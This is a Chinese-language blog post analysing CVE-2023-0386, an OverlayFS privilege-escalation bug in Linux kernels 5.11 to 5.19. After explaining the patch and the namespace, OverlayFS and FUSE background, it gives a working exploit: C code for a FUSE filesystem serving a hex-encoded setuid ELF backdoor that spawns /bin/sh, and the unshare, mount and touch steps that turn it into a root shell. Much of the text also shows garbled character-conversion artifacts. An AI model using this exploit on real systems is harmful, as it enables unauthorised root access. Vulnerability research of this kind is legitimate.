本文的理論知識(shí)(命名空間、overlay文件系統(tǒng)、fuse文件系統(tǒng)等)均來(lái)自chatGPT。
漏洞簡(jiǎn)介
漏洞編號(hào): CVE-2023-0386
漏洞產(chǎn)品: linux kernel - overlay文件系統(tǒng)
影響范圍: 5.11 ~ 5.19
利用條件: 可以u(píng)nshar 或可以創(chuàng)建overlay文件系統(tǒng)
利用效果: 本地提權(quán)
環(huán)境搭建
自己編譯內(nèi)核:
準(zhǔn)備漏洞版本范圍內(nèi)的,5.15版本之外的(5.15貌似有坑),開(kāi)啟overlay 和fuse 兩個(gè)fs:
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS
ubuntu 21.10 內(nèi)核版本5.13.0-16-generic實(shí)測(cè)可以完成:
漏洞原理
在漏洞分析之前,我們先讓chatGPT cosplay一下linux內(nèi)核專家:
(詢問(wèn)chatGPT:下面你扮演一個(gè)linux內(nèi)核專家,幫助我解答一些問(wèn)題)
補(bǔ)丁分析
漏洞的公開(kāi)信息比較少,比較直接的就是漏洞的補(bǔ)丁信息,補(bǔ)丁鏈接如下:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a
可以看到是在ovl_copy_up_one
函數(shù)中增加了一個(gè)判斷,我們先問(wèn)一下chatGPT,這個(gè)函數(shù)是做什么的:
所以這個(gè)函數(shù)是發(fā)生在,overlay文件系統(tǒng)的下層文件向上層拷貝的動(dòng)作中,然后我們結(jié)合上下文來(lái)看這個(gè)補(bǔ)丁新加的判斷:
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
int flags)
{
int err;
DEFINE_DELAYED_CALL(done);
struct path parentpath;
struct ovl_copy_up_ctx ctx = {
.parent = parent,
.dentry = dentry,
.workdir = ovl_workdir(dentry),
};
if (WARN_ON(!ctx.workdir))
return -EROFS;
ovl_path_lower(dentry, &ctx.lowerpath);
err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] 獲取底層文件系統(tǒng)的stat
STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
if (err)
return err;
//[2]補(bǔ)丁新加判斷文件的stat屬性中的用戶id和用戶組id是否在當(dāng)前命名空間有映射
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
[1] 首先通過(guò)vfs_getattr
函數(shù)獲取底層文件系統(tǒng)目標(biāo)文件的屬性。vfs_getattr
函數(shù)獲通過(guò)傳入一個(gè)文件的struct path
結(jié)構(gòu)來(lái)獲取這個(gè)文件對(duì)應(yīng)的struct stat
結(jié)構(gòu)
? [1.1] ctx.lowerpath
為overlay文件系統(tǒng)中的下層文件系統(tǒng)的某文件路徑,overlay文件系統(tǒng)會(huì)在后文介紹。
? [1.2] struct stat
結(jié)構(gòu)存放文件的元數(shù)據(jù)信息,包括文件的屬主屬組等。而獲取到的文件屬主信息就會(huì)在下面補(bǔ)丁新加的判斷中進(jìn)行判斷。
[2] 然后調(diào)用kuid_has_mapping
函數(shù)對(duì)上面剛剛獲取到的文件的屬主信息和屬組信息進(jìn)行判斷。判斷目標(biāo)文件屬主和屬組是否在當(dāng)前用戶命名空間中有映射。
? [2.1] kuid_has_mapping
函數(shù)傳入兩個(gè)參數(shù),一個(gè)struct user_namespace
用戶命名空間結(jié)構(gòu)體和一個(gè)struct kuid
內(nèi)核用戶結(jié)構(gòu)體,該函數(shù)會(huì)判斷給定的用戶信息是否在給定的用戶命名空間中有映射,關(guān)于命名空間中用戶的映射會(huì)在下文詳細(xì)介紹。
所以我們知道,現(xiàn)在在進(jìn)行該含有漏洞函數(shù)(ovl_copy_up_one
)操作的時(shí)候,如果目標(biāo)下層文件的屬主用戶或?qū)俳M用戶在當(dāng)前命名空間中沒(méi)有映射的話,就會(huì)失敗。
那么補(bǔ)丁原理便清楚了,但即便如此,我們還需要解決下面問(wèn)題,才可完成這個(gè)漏洞的復(fù)現(xiàn):
- 如何觸發(fā)目標(biāo)函數(shù)
ovl_copy_up_one
所在的邏輯,即overlay文件系統(tǒng)中下層文件向上層拷貝? - 判斷屬主是否被映射的文件
lowerpath
究竟在上面邏輯鏈中扮演什么角色?
那么在求解這兩個(gè)疑問(wèn)之前,我們需要搞清楚一些基本知識(shí):
命名空間
(詢問(wèn)chatGPT:請(qǐng)介紹一下linux內(nèi)核中的命名空間)
在Linux中,命名空間(namespaces)是一種內(nèi)核特性,用于實(shí)現(xiàn)資源隔離。通過(guò)命名空間,可以使一組進(jìn)程看起來(lái)好像它們?cè)讵?dú)立的系統(tǒng)環(huán)境中運(yùn)行,從而提高系統(tǒng)的安全性和可管理性。命名空間在容器技術(shù)(如Docker)中起著關(guān)鍵作用,它們使得容器能夠在隔離的環(huán)境中運(yùn)行,而不會(huì)影響其他容器或主系統(tǒng)。
Linux內(nèi)核支持7種命名空間(mount、pid、net、ipc、user、time、cgroup),每種命名空間都隔離了一類特定的系統(tǒng)資源。命名空間通過(guò)一系列系統(tǒng)調(diào)用(如clone
、**unshare
**和setns
)進(jìn)行創(chuàng)建、修改和管理。容器運(yùn)行時(shí)(如Docker)和其他虛擬化工具會(huì)利用這些命名空間特性,為容器提供獨(dú)立、隔離的運(yùn)行環(huán)境。
用戶命名空間
其中漏洞補(bǔ)丁新增的判斷函數(shù)kuid_has_mapping
涉及的是上述7個(gè)命名空間中的用戶命名空間(user namespace)。
(詢問(wèn)chatGPT:請(qǐng)介紹一下這其中的用戶命名空間)
用戶命名空間(User Namespace)用于隔離用戶ID(UID)和組ID(GID)。通過(guò)用戶命名空間,可以在不同命名空間中使用獨(dú)立的用戶和組ID集合。這意味著,在一個(gè)用戶命名空間中的用戶和組可能在另一個(gè)命名空間中具有不同的ID或權(quán)限。用戶命名空間可以提高系統(tǒng)的安全性和可管理性,尤其在容器化環(huán)境中。
用戶命名空間的關(guān)鍵特性就是ID映射:用戶命名空間允許將一個(gè)命名空間中的UID和GID映射到另一個(gè)命名空間中的UID和GID。這意味著,在不同的用戶命名空間中,相同的UID和GID可能代表不同的用戶和組。例如,一個(gè)容器中的root用戶(UID 0)可能在主系統(tǒng)中被映射為一個(gè)非特權(quán)用戶。
我們只需要記住以下幾點(diǎn):
- 同一個(gè)用戶(組),在不同用戶命名空間中的uid(gid)不同
- 創(chuàng)建新用戶命名空間(做這個(gè)創(chuàng)建動(dòng)作)的用戶在新用戶命名空間中是root
- 其他用戶需要手動(dòng)映射到新用戶空間(修改/proc/[pid]/uid_map;/proc/[pid]/gid_map),這個(gè)操作通常需要有初始命名空間中的root權(quán)限
- 沒(méi)有映射的用戶會(huì)被識(shí)別為nobody
如,我使用breeze用戶創(chuàng)建一個(gè)新的用戶命名空間,然后我再該用戶命名空間中查看root屬主的文件,顯示屬組為nobody:
這是因?yàn)樵谛旅臻g中,root用戶是創(chuàng)建該命名空間的breeze用戶,而初始命名空間中的root并沒(méi)有被我手動(dòng)映射到新命名空間中,所以在新命名空間中被識(shí)別為nobody。
所以到這里我們就知道這個(gè)補(bǔ)丁的意義了:**對(duì)于拷貝的目標(biāo)overlay 下層文件系統(tǒng)的文件,必須其屬主(組)用戶(組)在當(dāng)前命名空間中有映射,才會(huì)繼續(xù)下面的拷貝動(dòng)作,否則返回錯(cuò)誤。**也就是說(shuō)這種被識(shí)別為nobody的情況就會(huì)造成拷貝失敗。
overlay文件系統(tǒng)
原理
(詢問(wèn)chatGPT:請(qǐng)介紹一下linux中的overlay文件系統(tǒng))
Overlay 文件系統(tǒng)(又稱為 OverlayFS)是一個(gè) Linux 內(nèi)核的虛擬文件系統(tǒng)。它允許將兩個(gè)或多個(gè)已存在的目錄層次結(jié)構(gòu)(稱為“l(fā)ower”和“upper”層)合并成一個(gè)統(tǒng)一的視圖。Overlay 文件系統(tǒng)在只讀文件系統(tǒng)(如鏡像)上實(shí)現(xiàn)寫入操作的能力時(shí)非常有用,因?yàn)樗梢詫懖僮髦囟ㄏ虻揭粋€(gè)疊加的可寫層。這種方法在容器技術(shù)(如 Docker)中得到廣泛應(yīng)用,因?yàn)樗峁┝艘环N輕量級(jí)、高性能的文件系統(tǒng)虛擬化方案。
- Lower 層:這是基礎(chǔ)文件系統(tǒng)層,通常是只讀的。一個(gè) Overlay 文件系統(tǒng)可以有一個(gè)或多個(gè) lower 層。
- Upper 層:這是一個(gè)可寫的文件系統(tǒng)層,它存儲(chǔ)所有對(duì) lower 層文件的更改。這包括文件修改、創(chuàng)建和刪除操作。
- Workdir:這是一個(gè)與 upper 層在同一文件系統(tǒng)中的可寫目錄,用于存儲(chǔ)一些中間數(shù)據(jù)和元數(shù)據(jù),以支持 OverlayFS 的正常運(yùn)行。
- Merged 層:這是一個(gè)虛擬的、合成的視圖,它將 lower 層和 upper 層合并在一起。當(dāng)用戶訪問(wèn) Overlay 文件系統(tǒng)時(shí),他們看到的是這個(gè) merged 層。在這個(gè)層中,來(lái)自 upper 層的更改會(huì)覆蓋 lower 層的相應(yīng)文件。對(duì)于同名文件,upper 層中的文件優(yōu)先級(jí)更高。對(duì)于同名目錄,則合并,只判斷目錄中的文件是否有上下層覆蓋屏蔽關(guān)系。
可以用下圖理解某個(gè)overlay文件系統(tǒng)目錄的實(shí)際上下層文件對(duì)應(yīng)merge層文件的效果:
由于上層文件系統(tǒng)是可寫的,所以用戶修改來(lái)自上層的文件時(shí)則直接修改。但如果用戶想要修改下層文件系統(tǒng)中的文件,如上圖中的file D,由于下層文件系統(tǒng)是只讀的,則會(huì)將file D拷貝(copy up)到上層變成file D‘然后再進(jìn)行修改操作,實(shí)際修改的是拷貝到上層的file D’,而下層文件系統(tǒng)中的file D本身不會(huì)被改變,這也是overlay文件系統(tǒng)中的COW(copy on write 寫時(shí)復(fù)制):
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-c9VpDWky-1683354106054)(wp.assets/image-20230504103155100.png)]
創(chuàng)建一個(gè)overlay文件系統(tǒng)
(詢問(wèn)chatGPT:請(qǐng)給我一個(gè)創(chuàng)建一個(gè)簡(jiǎn)單overlay文件系統(tǒng)的實(shí)際操作的例子)
我們通過(guò)如下方法簡(jiǎn)單演示一下如何創(chuàng)建一個(gè)overlay文件系統(tǒng):
首先,我們需要?jiǎng)?chuàng)建 lower1、lower2、upper 和 work 目錄。這些目錄將用于 Overlay 文件系統(tǒng)。同時(shí),我們還需要?jiǎng)?chuàng)建一個(gè)掛載點(diǎn)(例如,merged)來(lái)訪問(wèn)合并后的視圖。并向 lower1 和 lower2 目錄中添加一些內(nèi)容:
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt
使用 mount
命令和 -t overlay
選項(xiàng)來(lái)掛載 Overlay 文件系統(tǒng)。您需要指定 lowerdir、upperdir 和 workdir 參數(shù),如下所示:
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged
可以在merge目錄中看到來(lái)自上下層文件系統(tǒng)的文件:
我們?cè)谶@個(gè)目錄中無(wú)論是創(chuàng)建新文件、刪除文件、修改文件,都只會(huì)改變上層文件系統(tǒng),對(duì)下層不影響,如創(chuàng)建一個(gè)新文件(實(shí)際創(chuàng)建在了upper中):
修改現(xiàn)有文件(將文件從lower1中拷貝到upper然后修改):
總結(jié)一下,跟漏洞相關(guān)的邏輯就是,當(dāng)我們修改一個(gè)overlay文件系統(tǒng)中的來(lái)自下層的文件的時(shí)候,會(huì)先將這個(gè)文件拷貝到上層文件系統(tǒng),然后進(jìn)行修改動(dòng)作。
漏洞觸發(fā)邏輯
經(jīng)過(guò)上面的分析,我們基本可以復(fù)原出漏洞的全貌,如果一個(gè)overlay文件系統(tǒng)發(fā)生了copy up操作(嘗試修改下層文件,觸發(fā)下層文件向上層拷貝)的時(shí)候:
- 補(bǔ)丁的邏輯:我們不能拷貝還沒(méi)有在當(dāng)前用戶命名空間映射的用戶(組)屬主(組)的文件
- 漏洞的邏輯:所有文件都可以正??截?,包括沒(méi)有在當(dāng)前用戶命名空間中映射的用戶屬主文件。
那么問(wèn)題就是,為什么拷貝沒(méi)有映射的用戶屬主的文件就會(huì)造成問(wèn)題呢?
漏洞利用
其實(shí)上面問(wèn)題的答案很簡(jiǎn)單,拷貝文件并不只是拷貝文件的內(nèi)容,包括文件的元數(shù)據(jù),也就是文件的屬主信息、時(shí)間戳、權(quán)限信息、還有擴(kuò)展信息如capbilities等都會(huì)一起拷貝過(guò)來(lái)。引發(fā)的風(fēng)險(xiǎn)就是,如果下層文件系統(tǒng)是一個(gè)用戶文件系統(tǒng)(如fuse),用戶高度可控,可以自定義任何文件,但該文件系統(tǒng)存在限制(如nosuid),那么本漏洞就允許將下層用戶自定義的suid文件從一個(gè)nosuid 文件系統(tǒng)拷貝到一個(gè)正常文件系統(tǒng)中,導(dǎo)致非法的suid文件獲得suid特權(quán)。進(jìn)而造成提權(quán)。
fuse文件系統(tǒng)
(詢問(wèn)chatGPT:請(qǐng)介紹一下fuse文件系統(tǒng))
FUSE(Filesystem in Userspace)是一種文件系統(tǒng)接口,允許用戶在用戶空間(而非內(nèi)核空間)實(shí)現(xiàn)和運(yùn)行自定義的文件系統(tǒng)。FUSE 設(shè)計(jì)的目的是簡(jiǎn)化文件系統(tǒng)的開(kāi)發(fā)和部署,同時(shí)提供良好的性能和安全性。FUSE 在 Linux 和其他類 Unix 系統(tǒng)(如 macOS 和 FreeBSD)上廣泛使用。
其實(shí)簡(jiǎn)單的來(lái)說(shuō)就是,fuse文件系統(tǒng)允許我們自己在用戶層定義文件系統(tǒng)的一些回調(diào)函數(shù)(如open、write、readdir、甚至是getattr等文件元數(shù)據(jù)信息)。
下面的fuse文件系統(tǒng)代碼(by chatGPT)既可以作為一個(gè)例子來(lái)學(xué)習(xí),也可以用于后續(xù)的漏洞利用:
(詢問(wèn)chatGPT:請(qǐng)給我一個(gè)fuse文件系統(tǒng)的簡(jiǎn)單代碼示例,這個(gè)文件系統(tǒng)中有一個(gè)hello文件,文件內(nèi)容是一個(gè)"helloworld"字符串,并且這個(gè)文件是一個(gè)root屬主的setuid文件)
經(jīng)過(guò)簡(jiǎn)單修改(修改文件內(nèi)容為后門二進(jìn)制數(shù)據(jù),修改一些文件權(quán)限設(shè)置,文件大小等):
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//fuse文件系統(tǒng)中有一個(gè)名為hello的文件,這里是文件路徑
const char hello_str[] = {//fuse文件系統(tǒng)中的suid 后門文件的二進(jìn)制內(nèi)容
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//獲取文件或目錄的屬性信息的回調(diào)函數(shù)getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//fuse文件系統(tǒng)根目錄的權(quán)限,0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//hello文件的權(quán)限,777并且?guī)в蠸UID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //hello文件實(shí)際大小
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//獲取目錄信息的函數(shù)
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目錄
return -ENOENT;
}
filler(buf, ".", NULL, 0);//默認(rèn)顯示.和..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//fuse根目錄有一個(gè)hello文件
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打開(kāi)文件的open回調(diào)函數(shù)
{
if (strcmp(path, hello_path) != 0) {//只支持打開(kāi)hello文件
return -ENOENT;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//讀文件的回調(diào)函數(shù)read
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//只支持讀hello文件
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//返回hello文件的內(nèi)容,即上面的二進(jìn)制數(shù)組
} else {
size = 0;
}
return size;
}
static struct fuse_operations hellofs_oper = {//只實(shí)現(xiàn)上述四個(gè)回調(diào)函數(shù)已經(jīng)夠了
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//注冊(cè)回調(diào)函數(shù)
}
上述代碼創(chuàng)建了一個(gè)fuse文件系統(tǒng),但里面只有一個(gè)文件hello,其內(nèi)容是一段二進(jìn)制后門程序,并且它的權(quán)限是root屬主的setuid文件。一共只實(shí)現(xiàn)了四個(gè)回調(diào)函數(shù),只能用于最基本的查看和打開(kāi)和讀取hello文件。我們可以通過(guò)如下命令編譯和掛載fuse文件系統(tǒng):
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs
然后可以在fusefs目錄中看到我們的hello文件,是一個(gè)root屬主的suid文件:
**但是普通用戶無(wú)法開(kāi)啟suid掛載fuse文件系統(tǒng),也就是說(shuō)普通用戶掛載的fuse文件系統(tǒng)都是nosuid的。**所以現(xiàn)在即便執(zhí)行這個(gè)suid 的后門文件,我們也無(wú)法獲得root的權(quán)限:
漏洞利用
接下來(lái)我們用CVE-2023-0386漏洞和上述fuse文件系統(tǒng)來(lái)完成提權(quán)操作。
-
首先我們需要根據(jù)漏洞場(chǎng)景構(gòu)造出一個(gè)overlay文件系統(tǒng),使用fuse文件系統(tǒng)作為下層文件系統(tǒng),找一個(gè)我們可寫的目錄作為上層文件系統(tǒng),先創(chuàng)建出workdir等overlay相關(guān)目錄,并掛載fuse文件系統(tǒng)
mkdir hello_mount_point overlay_mount_point upperdir workdir #創(chuàng)建相關(guān)目錄 ./hellofs hello_mount_point #掛載fuse文件系統(tǒng)
-
然后創(chuàng)建一個(gè)新的用戶命名空間和mount命名空間還有pid命名空間,因?yàn)槲覀兘酉聛?lái)需要?jiǎng)?chuàng)建overlay文件系統(tǒng),默認(rèn)情況下我們沒(méi)有mount權(quán)限,所以需要在新的命名空間中獲得mount的權(quán)限。
unshare -Urm
-
創(chuàng)建overlay文件系統(tǒng),使用上面的攜帶suid后門文件hello的fuse文件系統(tǒng)作為下層,上層就是我們可寫的upper目錄:
mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point
overlay當(dāng)前效果如下圖
現(xiàn)在我們的目標(biāo)就是利用漏洞,將suid后門文件從nosuid掛載的fuse文件系統(tǒng)中拷貝到upper文件系統(tǒng)中,upper文件系統(tǒng)是操作系統(tǒng)的默認(rèn)文件系統(tǒng),是有suid的,這個(gè)操作會(huì)將后門文件連同他的suid屬性一并拷貝過(guò)來(lái)。所以我們目前需要觸發(fā)overlay文件系統(tǒng)的copy up操作,該操作通常是在我們嘗試修改下層文件時(shí)觸發(fā)的,這也是我們?cè)趂use文件系統(tǒng)中將hello文件權(quán)限設(shè)置為777的原因。
touch命令冷知識(shí)
其實(shí)修改文件并不只是指修改文件內(nèi)容,對(duì)于文件的其他屬性的修改,比如文件時(shí)間戳等,也會(huì)觸發(fā)copy up操作。而touch 命令在嘗試創(chuàng)建一個(gè)已經(jīng)存在的文件的時(shí)候不會(huì)覆蓋已經(jīng)存在的文件,而是只修改文件的訪問(wèn)時(shí)間和修改時(shí)間的時(shí)間戳,而時(shí)間戳信息也算文件的attr擴(kuò)展信息,該信息被修改同樣會(huì)觸發(fā)overlay文件系統(tǒng)的向上拷貝。
調(diào)用棧如下,由于修改了文件的訪問(wèn)和修改時(shí)間戳,在ovl_setattr中觸發(fā)了向上拷貝copy up:
-
所以回到上面的操作步驟之中,我們只需要進(jìn)入overlay文件系統(tǒng)的merge目錄,使用touch修改后門文件hello的時(shí)間戳即可:
touch overlay_mount_point/hello
然后這里已經(jīng)觸發(fā)了copy up:
我們查看上層目錄即upper目錄:
ls -al upperdir
然后退出命名空間執(zhí)行upperdir/hello
即可獲得root shell:
exp
將上述操作自動(dòng)化成exp代碼請(qǐng)見(jiàn):
chenaotian/CVE-2023-0386
編譯與執(zhí)行:
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
總結(jié)
所以這個(gè)補(bǔ)丁的意義在于,如果像我們這樣操作來(lái)提權(quán)的話,那么初始命名空間中的root用戶必然在新用戶命名空間中沒(méi)有得到映射(我們也沒(méi)辦法映射,因?yàn)檫@需要特權(quán)),那么操作就會(huì)失敗。而如果這個(gè)用戶已經(jīng)在新用戶命名空間中得到映射,則認(rèn)為是合法的場(chǎng)景。文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-449187.html
參考
chatGPT文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-449187.html
到了這里,關(guān)于[漏洞分析] 用chatGPT分析CVE-2023-0386 overlay內(nèi)核提權(quán)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!